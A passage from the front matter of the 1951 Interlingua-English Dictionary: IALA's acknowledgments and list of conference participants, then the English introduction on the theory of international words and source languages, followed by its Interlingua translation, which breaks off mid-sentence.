1942. Durante le annos de guerra Alexander Gode manteneva le programma de recerca in marcha per assumer le responsibilitates de director executive in addition a su carga regular como redactor de Reference Books con le T.Y. Crowell Company. In 1946 IALA apportava dr André Martinet ex le Sorbonne a New York e le incargava del direction de su recerca interlinguistic. Post que ille jungeva se al facultate del Columbia University in 1948 dr Gode assumeva le direction plen del labor. In su forma final le Dictionario es su concepto e su responsibilitate. Illo es le fructo del erudition exigente e labor patiente de dr. Gode e su collaboratores.\nRECOGNOSCENTIAS\nLe directores de IALA era in 1951: W. Hallam Tuck, vice-presidente, Belgian American Educational Foundation; John V. Irwin; Lawrence Morris; LeRoy E. Bowman; Ben M. Cherrington, University of Denver; Harry Edmonds, fundator, International House, New York; Alfred N. Goldsmith, ex-presidente, Society of Motion Picture Engineers; Henry Goddard Leach, presidente, American Scandinavian Foundation; Frederick H. Osborn; Mrs. Harold Peabody; and Thomas J. Watson, presidente, International Business Machines Corporation. In lor nomines io recognosce le multe generes de cooperation que IALA ha recepte in su recercas.\nSupporto financial al labor de IALA ha venite ex multe fontes. Carnegie Corporation donava un bursa a Teachers College of Columbia University pro recerca preliminari in apprender linguas. Rockefeller Foundation provideva un bursa pro labor lexicologic que era facte al Universitate de Liverpool. Research Corporation donava liberal non-designate bursas annual durante un periodo de plure annos. A omne iste fundationes IALA exprime gratitude non solmente pro le fundos donate sed pro le recognition de importantia del labor in tote le campo de communications.\nLe membros fidel de IALA ha adjutate a exequer le carga de producer le Dictionario e illo ha sequite omne stadio de su labor.\nLe plus substantial amonta de supporto financial ha venite de sr e sra Morris e lor infantes. Nunquam illes ha fallite de comprehender le costos de un programma de recerca como illo de IALA, de respectar le punctos de vista del eruditos que illes inrolava al labor e complir le necessitates del budget de IALA. Anno post anno illes donava moneta sed illes etiam se interesseva altruistica- e enthusiasticamente de detalios practic que poterea adjutar a realisar lor scopo ideal de un lingua international.\nOn debe special gratitude al Committee de Budget de IALA de qual James G. Harbord era presidente e S. Sloan Colt e Samuel McRoberts era membros.\nSupporto intellectual pro le programma de IALA ha venite ab viros e feminas in omne partes del mundo. Specialistas in communication, relationes international, education e multe scientistas specialisate ha participate in discussiones del programma de IALA.\nOffertas de collaboration ha essite recepte de multe autores de systemas de linguas auxiliar, alicunos de quales ha commodate lor proprie manuscriptos a IALA. Multe supportatores de linguas auxiliar differente ha demonstrate interesse impartial, quando linguistas ha prestate a lor obra attention seriose. Homines de affaires ha demonstrate interesse genuin, inter illes Rotary International, que appunctava un committee pro tener al currente del activitates de IALA. Le Organisation Educational, Scientific e Cultural del Nationes Unite (OESCNU - UNESCO) ha establite contactos con IALA.\nAmong those who took part in formal and informal conferences of IALA were - Inter illes qui participava in conferentias formal e informal de IALA era:Leslie Adie, Sra Yorke Allen\nDr James R. Angell, Presidente, Yale University\nProfessor Kan-Ichi Asakawa, Yale University\nSiegfried Auerbach, Akademio di Ido\nProfessor Charles Bally, Universitate de Genéve\nClarence Barnhart\nLouis Bastien, Societate de Esperanto de France\nAndre Baudet, Camera de Commercio de Paris\nWilhelm Blaschke\nPierre Bovet, Instituto de Rousseau, Genéve\nWillem de Cock Buning, Rotary International\nSra Westwood Carr\nProfessor Gustave Cohen, École Libre des Hautes Études\nSr e sra G. Alan Connor, Esperanto Association of North America\nAndreo Cseh, Internacia Cseh-Instituto de Esperanto\nSra James S. Cushman, Y.W.C.A.\nDr Malcolm Davis, Carnegie Endowment for International Peace\nDr Watson Davis, Science Service\nProfessor Albert Debrunner, Universitates de Berne e Basle\nProfessor A. W. de Groot, Universitate de Amsterdam\nRollet de l'Isle, Internacia Scienca Asocio Esperantista\nRené de Saussure, Esperanto II\nEdgar de Wahl, Occidental Union\nProfessor Henry Gratton Doyle, The George Washington University\nSra Laura Dreyfus-Barney, Stta Helen S. Eaton, Gertrude Ely\nProfessor Robert H. Fife, Columbia University\nProfessor P. Fouché, Sorbonne\nDr. Frank Fremont-Smith,\nJosiah Macy, Jr. Foundation\nProfessor Otto Funke, Universitate de Bern\nStta Clarissa H. Gordon, Sra Ruth M. Griggs\nProfessor Albert L. Guérard, Stanford University\nSra Hamilton Hadley\nDr. Walter D. Head, Rotary International\nProfessor V. A. C. Henmon, University of Wisconsin\nProfessor Eduard Hermann, Universitate de Göttingen\nDecano Henry W. Holmes, Harvard University\nSr e Sra I. R. G. Isbrucker, Universala Ligo\nProfessor Roman Jakobson, Columbia University\nProfessor Otto Jespersen, Universitate de Copenhagen\nDr Marguerite Jones, Hunter College\nProfessor Serge Karcevski, Universitate de Genéve\nProfessor Hayward Keniston, University of Michigan\nDr. Laura H. Kennon, Brooklyn College\nProfessor Wencil J. Kostir, University of Ohio\nWladyslaw Kozlowski, Lingvo Monde\nDr John Lansbury\nGeorge Winthrop Lee e John L. Lewine, Esperanto Association of North America\nStta Anne Lincoln\nProfessor Kemp Malone, Johns Hopkins University\nProfessor Antoine Meillet, Sorbonne\nSra Dudley H. Mills,\nDr Arthur E. Morgan, Antioch College\nDave Hennen Morris, Jr.\nProfessor Henri F. Muller, Columbia University\nProfessor C. K. Ogden, Cambridge University\nProfessor Austin M. Patterson, Antioch College\nWilliam Perrenoud, Esperantista\nHoward A. Poillon, Research Corporation\nProfessor Pitman B. Potter, Institut Universitaire de Hautes Études Internationales, Genéve\nBronson Price\nEdmond Privat, Presidente, Universal Esperanto Association\nMrs. Franklin D. Roosevelt (Sposa del Presidente del Statos Unite -- rem. Allan Kiviaho)\nProfessor Albert Sechehaye, Universitate de Genéve\nDr. James T. Shotwell, Carnegie Endowment for International Peace\nProfessor Herbert Schofield, Loughborough College\nMgr. Schrijnen\nProfessor Alf Sommerfelt, Universitate de Oslo\nPierre Stojan, Esperantista\nDr Lester Struthers, Rotary International\nSra Walter Knight Sturges, Jr., William Mark Taylor, George L. Trager\nProfessor Nicolaas Van Wijk, Universitate de Leiden\nProfessor Joseph Vendryes, Sorbonne\nProfessor Jean Paul Vinay, University of Montreal\nEugen Wüster, Organisation International de Standardisation\nReinhold Zeidler, Novial.\nTo these and many others IALA is most grateful - A illes e multe alteres IALA es le plus grate\nMary Connell Bray\nDirector Executive, IALA\nIntroduction\nIn the history of the International Auxiliary Language Association - and of the auxiliary-language movement as a whole - the publication of the Interlingua-English Dictionary marks an important step ahead. We do not present it to the world as an inspired new departure, a cure-all, if it were generally accepted, for every ill resulting from the confusion of tongues. We merely claim to have \"summarized the past\"by producing for the first time a dictionary of the international language, based on a rigorously consistent and scientifically exact application of the one fundamental idea adhered to by most interlinguists of the past three quarters of a century. We share with our predecessors the view that the world need not wait for the creator of an ideal universal tongue because it is a fact that the international language exists potentially in the common elements of the speech forms of huge segments of civilized mankind. On this fact we have based the principles and rules and the devices which have governed the making of the Interlingua-English Dictionary.\nOur efforts are so clearly connected with those of our predecessors that it is both impossible and superfluous to acknowledge in detail our indebtedness to them. We do not present a new work detached and distinguished from theirs but rather the common answer to our quest and theirs for a standard presentation of the international vocabulary. If we have been successful in this, the lasting significance of our work is assured. The practical interlinguist will be struck by the fact that this volume contains no proposal for a grammatical system to operate the international vocabulary nor a section which supplements the Interlingua-English Dictionary by leading into the international vocabulary from English. The demand for these and similar additional tool publications is legitimate, but it can only be fulfilled on the basis of a systematic recording of the international vocabulary. To furnish such a basis, to represent such a systematic recording, is the purpose and aim of this Dictionary. In it the international vocabulary, which numerous interlinguistic systems have used, are using, and will use in various ways and to various degrees of consistency, appears now at last in a methodical assembly ready to serve interlinguists of all schools in their various needs and likewise to form the standard and norm of future complementary and specialized publications - grammars, dictionaries, and handbooks in various languages concerned with various forms of the interlingua.As a summary account of the whence and wherefore of the Dictionary, the following material is organized under several heads. The first section, \"Theory and Principles,\" discusses the objective data which have determined our approach. It is a restatement of the considerations and conclusions which have guided most interlinguists since the time of Dr. Zamenhof's original conception of Esperanto.\nThe second section, \"Method and Techniques,\" constitutes a practical laboratory manual and offers a description of the procedure followed in gathering and arranging the material included in the Dictionary.\nThe international vocabulary is as much subject to further growth as are the vocabularies of all national languages, but its future problems must not be left to depend on subjective decisions. Their solution must result from the application of a specific technique to whatever the international linguistic facts may be. Thus the methodological section is to serve simultaneously the normative functions which in similar cases under different conditions are vested in linguistic academies.\nThe concluding sections represent a user's guide and show the machinery of the Dictionary in operation.\nTHEORY AND PRINCIPLES\nInternational Languages. - In modern times protagonists of the idea of a neutral auxiliary language have come to rely less and less on arbitrary devices. They have been restricting their endeavors more and more consciously to the arrangement and processing of words and rules of grammar which they have culled from existing natural languages. These words and rules - so the argument seems to run - need not be introduced from scratch; they are and have been in practical use. No one can doubt their qualifications to serve efficiently and well.\nThis trend no doubt has played into the hands of those who advocate the adoption of one of the major existing languages as the most promising choice for a universal auxiliary language. To a certain extent their proposals might seem to agree with the lessons of the history of interlinguistics and auxiliary languages in general. However, that history tells us also that no national language has ever been used for auxiliary purposes unless its native speakers had established themselves as a people in a position of political or cultural hegemony. A national language used as a secondary world language implies on the part of its speakers a claim to universal superiority, and no people is in a position to make such a claim and force all parties concerned to agree.\nSecondary or auxiliary languages are a very old and very common phenomenon. Late Greek served as one. As such it was particularly important since the New Testament was written and propagated in it. The case of medieval Latin is very similar and so, albeit in different fields and on different levels, are the examples of contemporary Pidgin English, of Swahili or Kiswahili in East Africa, of Hindustani, Mandarin Chinese, and of literally dozens of other so-called lingua francas. None of these, however, was a man-made auxiliary language, and no man-made auxiliary language has ever equaled the least of them in practical everyday importance.\nExtranational languages have never attained their range as the result of man's desire to understand his neighbors across the border and to avoid or overcome friction, war, and hatred, which are often regarded as unavoidable results of our numerous language borders. Actually languages of more than nationally restricted use have always been established in their role as secondary or auxiliary languages in foreign parts by potent needs either of a purely utilitarian or of a generally cultural kind.\nIn one way or another these languages were connected or actually identified with an \"expansive movement\" which promoted them as in turn they served and promoted it. Medieval Latin, to mention but one example, owed its wide range to the missionary \"dynamism\" of the Church, while the Church, in turn, could not have accomplished its task without the universality of its language.\nThese data may justify the generalization that no secondary auxiliary language of major or minor scope has ever been accepted and used if in back of it there was not a specific force which promoted it because it needed it as a practical tool.\nApplied to the problem of a modern auxiliary world language, this means that either the modern world can claim to have initiated an expansive movement of the kind alluded to in which case the modern world must already have a language of its own that cannot and need not be superseded by a product of man's making - or there is no such movement - in which case all our efforts to establish a universal auxiliary language are a clear waste of time and energy because none can exist.\nThe first of these alternatives is right. The modern world is pervaded in all its parts and phases by a powerful influence which has reduced the vastness of the globe to a matter of hours and has diffused things and ideas and problems to every corner of every continent. If one simple label is wanted to designate the force responsible for all the good and all the evil that distinguishes our contemporary world from that of centuries past, we may call it the power of science and technology. But if we go on to ask, has not this world-wide sweep of science and technology carried with it to all corners of the world a language of its own, somewhat in the manner of the medieval Church of Rome which took its Latin language with it wherever it brought its expansive influence to bear, the answer is a peculiarly hesitant one. Yes, in a way there is such a language. We often speak of the language of science and technology. But if this is to lead to the conclusion that that language should then be regarded as the one and only possible auxiliary world language of modern times, we suddenly realize that the language of science and technology is no language in the full sense of the word but at best a vast body of international terms and phrases which appear in our various languages under a corresponding number of slightly varying forms.\nUnfortunately we must not analyze further the fascinating suggestion that it is perhaps quite natural that science and technology should be incapable of going beyond the world-wide diffusion of a vast number of specifically technical terms and of evolving from them a full-fledged language, because this inability may very well be correlated with the fact that the world of science and technology is one of discrete ideas which do not fall into a complete and coherent pattern, or in other words, that the \"language\" of science and technology is not really a language because the thought of science and technology is not really a philosophy.\nIn interlinguistic terms all this means that even though the \"language\" of science and technology is not a full-fledged language, even though it can supply us only with a vast number of words and phrases of international validity in various peculiarly national but easily recognizable forms, it does represent a nucleus of a complete language. It does represent fragments of the only international language we have. And the task of the practical interlinguist turns out to be the selection and arrangement of international words and subsequently their expansion into a fully developed language - a language, of course, which, though it may have its base and its raison d'être in the vast domain of technological data, will draw on and cover the arts and all other human endeavors down to the most humble concerns of our daily lives.\nInternational Words. - In the widest sense, an international word is a word which occurs in more than one national language. The German words Haus and Automobil, for example, are identical with the English words house and automobile despite slight differences in spelling and pronunciation. Their meanings are of course essential parts of them. If they were semantically distinct, as are English also and German also for example, they could not be viewed as identical words.\nThere are two types of international words. German and English Haus and house represent a type which owes its international range to the common descent of two or more languages; words of this type are international by cognateship in the restricted sense of the term. On the other hand, the internationalism of German and English Automobil and automobile is due to the transition of words from one language to another; words of this type, though sometimes loosely called cognates, should be distinguished as international by loan and diffusion.\nIn its most comprehensive sense, the term \"international word\" would take in a huge number of words which occur in but a very few languages of minor significance. International words differ strikingly in their range. From a practical point of view only those international words need be considered which have a fairly wide range of occurrence throughout the regions of the world inhabited by peoples who participate in international intercourse and are consequently apt to take an interest in its simplification.\nIf international words differ as to their range, they may likewise be grouped as to their language of origin or \"center of radiation.\" There are important and unimportant centers of radiation, and words of wide international range spring from either.\nThe word igloo for instance has a very respectable range. It occurs in Eskimo, English, French, Russian, and in many other languages. But Eskimo, from which the word stems, is not therefore a significant center of radiation.\nSuch minor \"centers of radiation\" can be disregarded without a resulting loss of important items in the international vocabulary provided it be ascertained that the possible contributions of every disregarded center come into consideration elsewhere. Neglecting the Eskimo center of radiation will not imply the loss of the international word igloo, if English, Russian, French, or any of the other languages which know the word, are kept under observation.\nThe restriction of the number of languages examined with regard to their stock of international words does not imply the exclusion of international words of all sorts of remote origins from the resulting list.\nFor practical reasons the sphere in which \"international words\" are to be collected must be restricted, but the purpose of getting together the most generally international vocabulary possible can best be served if the restricted sphere fulfills two requirements: first, it must be a powerful center of radiation of international words, one that has contributed largely to the stock of international words throughout the rest of the world; secondly, it must have a high degree of receptivity with regard to the material radiating from other languages.\nAs for the second of these requirements, English represents a well-nigh ideal fulfillment of it. Hardly another language can compete with English in its \"receptive power.\" Indeed, a list of words of wide international range outside the orbit of English would include few important groups with the possible exception of a fairly substantial vocabulary \"radiated\" from the Islamic world to Spain, Eastern Europe, and parts of Asia but not to the English-speaking world.\nThe first requirement, concerned with the power of radiation of international words, is a more complex matter. There is no one language that stands as far above all others in regard to the bulk of its contributions to the international vocabulary as does English in regard to its ability to assimilate foreign words.\nThe most important group of international words is doubtless the body of technical terms in science and technology. In the large majority of cases the international technical terminology is built up of Latin and Greek or Greco-Latin elements. It is not on the whole the contribution of any one language, not even of Greek and Latin taken together, for it includes a considerable number of terms which, though consisting of classical elements, were completely unknown to the native speakers of both the classical languages. Socrates spoke Greek all through his life but he never used the telephone and did not know that the word for it comes from his mother tongue.\nWords of this type may be grouped under the head of their common origin in a kind of theoretical Neo-Latin which is not spoken anywhere but appears unfolded in the several contemporary Romance languages. Taken as a group and viewed as joint executors of the Latin heritage and hence as representing most fully the Neo-Latin source of most of the international technical vocabulary, the Romance languages are the most potent center of radiation of international words.\nVariants and Their Prototypes. - The determination of what words are to be regarded as part of the international vocabulary is one thing; the determination of the forms under which they are to be listed is another. The language of origin of a given international word cannot help solve this problem. For instance, the German word Statistik and the English word penicillin (they are German and English in origin)would, if spelled Statistik and penicillin as items in a list of words of wide international range, still be German and English and not \"international.\" Their forms must be \"internationalized,\" that is, be normalized or standardized on the basis of the variants under which they occur in the national languages. The resulting prototypes are neither English nor German, not Latin or Greek, neither this language nor that, but in them the variants occurring in this language as well as in that can immediately be recognized. Neither German Statistik nor of course English statistics or French statistique can qualify as an international form. In the international vocabulary the word must be represented by a form of which Statistik and statistics as well as statistique are variants determined by idiosyncratic peculiarities characteristic of German, English, and French respectively.\nThe process of viewing together the variant forms of international words in order to arrive at normalized, or standardized, prototypes cannot comply with a verifiable methodology applicable to ever new cases, unless the variants themselves, and hence the languages to which they belong, have a common basis in which the principles of normalization or standardization may be rooted.\nThe Romance languages do have such a common basis in Latin. They represent furthermore the most potent center of radiation of international words and are thus on two important counts a research sphere in which the garnering of international words appears to be most promising.\nSource or Control Languages. - English answers most fully the requirement of receptive power in regard to international words of foreign origin. The Romance languages comply best with the requirement of productive radiation of international words. The best restricted sphere of languages in which to carry out a systematic collection of international words is consequently a combination of English and the Romance languages. We refer to these languages variously as source or control languages.\nThe inclusion of English does not interfere with the desideratum that the languages to be scrutinized for the compilation of the international vocabulary should be possessed of a common basis. English does share the basis which holds the Romance languages together. Its vocabulary is so strongly romanic that in this respect - whatever the situation may be in other respects - it is a Romance language.The Anglo-Romance group of languages can boast an aggregate of close to half a billion speakers. This quarter of mankind includes no considerable ethnic group uninvolved or uninterested in international concerns. Nor, to be sure, does it include all the populations of the globe that are involved and interested in international concerns but certainly most of them.\nA few examples may serve to show that the Anglo-Romance group of languages does constitute a sphere of source languages in which international words of the most varied origins can be gathered. The Hebrew word for \"hell,\" Ge Hinnom, is widely international, but to get it into the international vocabulary, Hebrew need not be investigated for the word appears in English as Gehenna, in French as géhenne, in Spanish as gehena, in Italian as geenna. The Arabic word which appears in English as alcove can likewise be garnered in the restricted sphere, for it appears in Italian and Portuguese as alcova, in Spanish as alcoba, and in French as alcove. An example of an international word of Russian origin is that appearing in English as mammoth, in French as mammouth, in Spanish as mamat, and in Italian as mammut. A German example is English feldspar, French feldspath, Italian feldispato, Spanish feldespato.\nThe reasoning in favor of a restricted sphere of assemblage of international words does not preclude the possibility of shifting its boundaries in the interest of a richer haul. In lieu of one or two of the languages of the Anglo-Romance group one or two other languages of at least equal significance in the international field may be included, provided, of course, that the items examined are still held together by a common basis, which means, that their center of gravity remains in the Anglo-Romance sphere. In the compilation of this Dictionary the sphere of research has been permitted to shift only so as to include German or Russian or both. The decision not to use the same procedure for other languages was reached after ample tests had demonstrated that the consequent complication of our methodology would not have affected the results in any appreciable way.\nSummary. - Of all languages that ever attained more than national usefulness it can be said that they were carried beyond their original confines by an expansive cultural or utilitarian dynamism. They functioned as indispensable cultural or utilitarian tools. Modern internationalism is largely conditioned by science and technology in the most comprehensive sense. The language of science and technology is the modern international language or interlingua. It is not, strictly speaking, a complete language but is rather a very comprehensive body of international terms which constitute the nucleus of an interlingua. The international vocabulary has absorbed materials of the most varied origins but its center of gravity lies in the sphere of the Greco-Latin tradition. It can be collected within the confines of a homogeneous group of source or control languages which not only represent the Greco-Latin tradition in our time but have likewise absorbed all significant international words radiated from other centers. This group is the Anglo-Romance group of languages with German and Russian as potential contributors.\nIntroduction\nIn le historia del International Auxiliary Language Association - e del movimento de lingua auxiliar in general - le publication del Interlingua-English Dictionary (IED) marca un importante passo in avante. Nos non lo presenta al mundo como un nove partita inspirate, un panacea, si illo esserea generalmente acceptate, pro omne damnos que resulta del confusion de linguas. Nos solmente affirma haber \"summarisate le passato\" per producer le prime vice un dictionario del lingua international, basate super un application strictemente consistente e scientificamente exacte del unic idea fundamental a que le majoritate del interlinguistas adhereva durante le passate tres quartos de un centennio. Nos participa in le vista de nostre predecessores que il non es necessari pro le mundo attender le venita de un creator de un lingua universal ideal proque un facto es que le lingua international potentialmente existe in le elementos commun del formas de linguage de vaste segmentos del humanitate civilisate. Super iste facto nos ha basate le principios e regulas e le methodos que ha dominate le compilation del Interlingua-English Dictionary.\nNostre effortios son tanto clarmente connectite con illos de nostre predecessores que il es e impossibile e superflue recognoscer in detalio nostre debitos a illes. Nos non presenta un nove obra distachate e distincte del lores sed plus tosto le responsa commun a nostre recercas e le lores pro un presentation standard del vocabulario international. Si nos ha succedite in isto, le permanente significantia de nostre labor es assecurate. Le practic interlinguista essera frappate per le facto que iste obra non contine un proponimento pro un systema grammatic pro facer funger le vocabulario international, ni un section que supplementa le Interlingua-English Dictionary per ducer a in le vocabulario international ab anglese. Le demanda pro le publication de iste e similar additiones utilitari es legitime, sed isto pote esser exequite solmente super le base de un registration systematic del vocabulario international. Fornir un tal base e presentar un tal registration systematic es le proposito e scopo de iste Dictionario. In illo le vocabulario international, que numerose systemas interlinguistic usava, usa e usara in varie manieras e in varie grados de consistentia, nunc appare al fin in un assemblea methodic preste a servir interlinguistas de omne scholas in lor varie besonios e equalmente a formar le standard e norma de futur publicationes complementari e specialisate - grammaticas, dictionarios e manuales in varie linguas concernite de varie formas de interlingua.\nComo un conto summari del \"inde\" e \"unde\" del Dictionario le sequente materia es arrangiate sub plure testas. Le prime section \"Theoria e Principios\" discute le datos objective que ha determinate nostre accostamento. Illo es un re-exposition del considerationes e conclusiones que ha guidate le majoritate del interlinguistas ab le tempore del original conception per Dr. Zamenhof de\nEsperanto.\nLe secunde section, \"Methodo e Technicas\" constitue un practic manual de travalio e offere un description del procedura sequite in colliger e arrangiar le materia inserite in le Dictionario.\nLe vocabulario international es tanto multo subjicite a crescentia ulterior quanto es le vocabulario de omne linguas national, sed le futur problemas de illo debe non esser admittite a depender de decisiones subjective. Lor solution debe resultar ex le application de un technica specific a quecunque sia le factos linguistic international. Assi le section methodologic debe simultaneemente servir le functiones normative que in casos similar sub conditiones differente es assignate a academias linguistic.\nLe sectiones conclusive presenta un guida pro le usator e monstra le machineria del Dictionario in operation.\nTHEORIA E PRINCIPIOS\nLinguas International. - In le tempore moderne protagonistas del idea de un neutral lingua auxiliar ha arrivate a basar lor tentativas de minus in minus super ingenios arbitrari. Illes ha restricte lor tentativas de plus in plus consciemente al arrangiamento e tractamento de parolas e regulas grammatic que illes ha prendite ab existente linguas natural. Iste parolas e regulas - assi on pare opinar - non debe introducer se ab vacuo; illos es e ha essite in uso practic. Nemo pote dubitar que lor qualificationes servi ben e efficiente.\nIste tendentia era sin dubita favorabile a istes qui defende le adoption de un del major linguas existente como le election le plus promittente pro un lingua auxiliar universal. A un certe mesura lor propositiones pare concordar con le instructiones per le historia del interlinguistica e linguas auxiliar in general. Totevia, iste historia dice a nos etiam que nulle lingua national ha unquam essite in uso pro objectivos auxiliar si non illes qui lo paria habeva establite se como un populo in un position de hegemonia politic o cultural. Un lingua national que servi como un secundari lingua mundial implica del parte de su parlatores le pretention de superioritate universal, e nulle populo occupa un position pro tener un tal pretention e fortiar omne partitos concernite a consentir a isto.\nLinguas auxiliar o secundari es un phenomeno multo vetule e multo commun. Tarde greco functionava como un tal e era specialmente importante proque le Nove Testamento era scripte e propagate in illo. Le caso de latino medieval es multo similar e etiam similar, ben que in campos e nivellos differente, san le exempros del contemporanee Pidgin English, de swahili in Africa Oriental, de hindustani, chinese mandarin, e etiam de vermente dozenas de si nominate linguas franc. Totevia, nulle de istos era un lingua artificial fabricate, e nulle fabricate lingua artificial ha unquam equalate le minime de illos in le practic interesse de omne dies.\nLinguas non-national ha nunquam attingite lor scopo como le resultato del desiro del homine a comprender su vicinos trans le frontiera e a evitar frictiones, guerra e odio, le quales es frequentemente reguardate como inevitabile resultatos de nostre numero se frontieras linguistic. Actualmente, linguas in uso plus que nationalmente restricte semper establiva lor parte como linguas secundari o auxiliar in regiones estranie per le fortia del necessitate o purmente utilitari o generalmente cultural.\nDe un o altere maniera ille linguas era connectite o mesmo identificate con un \"movimento expansive\" que los promoveva, como reciprocamente illos lo serviva e promoveva. Latino medieval pro mentionar un singule exemplo, debeva su large expansion al \"dynamismo\" missionari del Ecclesia, durante que le Ecclesia, reciprocamente, non haberea essite capace a exercer su function sin le universalitate de su lingua.\nIste datos pete justificar le generalisation que nulle lingua auxiliar secundari de ambito major o minor ha unquam essite acceptate e usate si in fundo de illo il non habeva un fortia specific que lo propagava como un necessari utensile de practica.\nCon respecto al problema de un moderne lingua auxiliar mundial isto significa que o le monde moderne pete pretender que illo initiava un movimento expansive del sorta alludite - in qual caso le monde moderne debe jam haber su proprie lingua que non pete e non debe esser supplantate per un producto artificial - o il non ha un tal movimento - in qual caso omne nostre effortios pro establir un lingua auxiliar universal es solmente perdita de tempore e energia proque un tal lingua non pote exister.\nLe prime de iste alternativas es correcte. Le monde moderne es penetrate in omne su regiones e stadios per un potente influentia que ha reducte le vastitate del globo terrestre a un mesura de horas e ha diffundite cosas e ideas e problemas verso omne angulos de omne continentes. Si on ha necessitate de un singule characteristica pro designar le fortia responsabile pro omne le bono e omne le mal que distingue nostre hodierne monde de illo de seculos passate, nos pete appellar lo le potentia del scientia e del technologia. Sed si nos continua interrogar: non ha portate iste expansion mundial del scientia e del technologia con se a omne angulos del monde su proprie lingua, alique in le maniera del medieval Ecclesia de Roma que portava con se su lingua latin ubicunque illo exerceva su influentia expansive, le responsa es peculiarmente hesitante. In effecto in un certe senso il ha un tal linguage. Nos pote parlar del lingua del scientia e technologia. Sed si isto deberea implicar le conclusion que ille lingua sia reguardate como le sol possibile lingua auxiliar del mundo in le tempore moderne, nos subito deveni conscie del facto que le lingua del scientia e technologia non es un lingua in le ver senso del parola sed in le melior del casos un vaste massa de terminos e phrases international, le quales appare in nostre varie linguas in un correspondente numero de formas con legier differentias.Infortunatemente, nos non pote plus analysar le suggestion fascinante que forsan il es toto natural que le scientia e le technologia\nesserea incapace a superar le diffusion mundial de un amplissime numero de terminos specificamente technic e a developpar ex istos un complete lingua, proque iste incapacitate probabilemente ha un correlation con le facto que le monde del scientia e del technologia es un sphera de notiones discrete que non se compacta in un structura complete e coherente, o pro dicer alteremente, que le \"lingua\" del scientia e technologia non realmente es un lingua proque le pensar del scientia e technologia non realmente es un philosophia.\nIn senso interlinguistic omne isto significa que nonobstante que le \"lingua\" del scientia e technologia non es un complete lingua, nonobstante que illo pote fornir a nos solmente un amplissime numero de parolas e phrases con validitate international in varie formas specificamente national sed facilemente recognoscibile, illo certo presenta un nucleo de un lingua complete. Illo certo presenta fragmentos del sol lingua international que nos possede. E il se monstra que le function del practic interlinguista es le selection e le arrangiamento de parolas international e secundo lor expansion in un lingua toto developpate - un lingua, naturalmente, le qual mesmo si illo ha su fonda e 'raison d'être' in le vaste dominio de terminos technologic, va avantiar e extender se al aIres e a omne altere occupationes human usque al cosas le plus humile de nostre vita quotidian.\nParolas international. - In le plus large senso un parola international es un parola que se trova in plus de un singule lingua national. Le parolas german Haus e Automobil, per exemplo, son identic con le parolas anglese house e automobile malgrado parve differentias in orthographia e pronunciation. Lor significationes son naturalmente partes essential de illos. Si illos era distincte in senso semantic, como per exemplo anglese also e german also, illos non poterea esser reguardate como parolas identic.\nIl ha duo typos de parolas international. German Haus e anglese house representa un typo que debe su extension international al descendentia commun de duo o plure linguas; parolas de iste typo es international per parentato in le restricte senso del termino. Al altere latere, le internationalismo de german Automobil e anglese automobile es debite al transition de vocabulos de un lingua a un altere; parolas de iste typo, ben que a vices con inexactitude nominate cognatos, debe esser distinguite como international per adoption e diffusion.\nIn le senso le plus comprehensive le termino \"parola international\" comprenderea un enorme numero de parolas que se trova solmente in pauchissime linguas de significantia minor. Parolas international differe impressionantemente in lor extension. Ab un puncto de vista practic il es necessari considerar solmente ille parolas international que ha un assatis large extension in le regiones del mundo inhabitate de populos que participa in le communication international e que es per consequente apte pro esser interessate in le simplification de illo.\nSi parolas international differe in le mesura de lor extension, illos pote tamben esser gruppate con respecto a lor lingua de origine o \"centro de radiation\". Il ha centros de radiation importante e in importante e parolas con large extension international proveni de ambes.\nLe parola igloo, per exemplo, ha un extension multo respectabile. Illo se trova in eskimo, anglese, francese, russo, e in multe altere linguas. Sed eskimo, de que le parola proveniva, non es igitur un centro de radiation significante.\nTal minor \"centros de radiation\" pote esser negligite sin\nun resultante perdita de entratas importante in le vocabulario international sub le condition que es assecurate que le contributiones possibile de cata abannonate centro essera considerate alterubi. Abandonamento del centro de radiation eskimo non implicara le perdita del international igloo, si anglese,\nrusso, francese o qualcunque altere lingua que cognosce\nle parola, essera tenite in observation.\nLe restriction del numero del linguas examinate con respecto a lor stock de parolas international non implica le exclusion de parolas international de omne sortas de origines remote del registro resultante.\nPro rationes practic le sphera in que \"parolas international\" sia collecte, debe restringer se, sed le proposito de assemblar le vocabulario le plus possibile generalmente international, pote esser le melio servite si le sphera restricte satisface duo requirimentos: primo, illo debe esser un potente centro de radiation de parolas international, un centro que ha amplemente contribuite al stock de parolas international in omne partes del mundo; secundo, illo debe haber un alte grado de receptivitate con respecto al material que es radiate ab altere linguas.\nQuanto al secunde de iste requirimentos, le anglese presenta un responsa quasi ideal a illo. A pena un altere lingua pote competer con le anglese in su \"potentia receptive\". In effecto, un lista de parolas con large extension international extra le sphera del anglese includerea pauc gruppos importante con le possibile exception de un vocabulario relativemente substantial \"radiate\" ab le mundo islamic a Espania, Europa Oriental, e partes de Asia sed non al mundo anglophone.\nLe prime requirimento, que concerne le potentia de radiation de parolas international, es un materia plus complicate. Il non ha un lingua que supera omne alteres con respecto al grosso de su contributiones al vocabulario international como le anglese face con respecto a su capabilitate de assimilar parolas foranee.\nLe gruppo le plus importante de parolas international es sin dubita le corpore de terminos technic in le scientia e le technologia. In le grande majoritate de casos le terminologia technic international es construite de elementos latin e grec o grecolatin. Il non es toto considerate le contribution de un singule lingua, non mesmo greco e latio combinate, nam illo contine un numero considerabile de terminos que, ben que illos consiste de elementos classic, era completemente incognite al parlatores native de ambe linguas classic. Socrates parlava greco durante tote su vita, sed ille nunquam usava le telephono e non sapeva que le parola pro illo proveni de su lingua materne.\nParolas de iste typo pote gruppar se sub le testa de lor origine commun in un specie de neolatino theoretic, que non es parlate alicubi sed appare disvelate in le varie linguas romance contemporari. Prendite como un gruppo e reguardate como associate executantes del hereditage latin e inde como le plus ample representation del fonte neolatin del major parte del technic vocabulario international, le linguas romance es le plus potente centro de radiation de parolas international.\nVariantes e lor prototypos. - Le determination de qual vocabulos sia reguardate como un parte del vocabulario international es un caso per se; le determination del formas in que illos sia registrate es un altere. Le lingua de origine de un date parola international non pote adjutar in le solution de iste problema. Per exemplo, si le parola german Statistik e le parola anglese penicillin (illos es german e anglese de origine) era scripte Statistik e penicillin como entratas in un lista de vocabulos de large extension international, illos ancora esserea german e anglese e non \"international\". Lor formas debe \"internationalisar\" se, isto es, normalisar o standardisar se super le base de variantes in le quales illos se trova in le linguas national. Le prototypos resultante son ni anglese ni german, ni latin ni grec, ni iste lingua ni ille, sed in illos le variantes que se trova in iste o ille lingua pote esser immediatemente recognoscite. Ni german Statistik ni naturalmente anglese statistics o francese statistique pote qualificar se como un 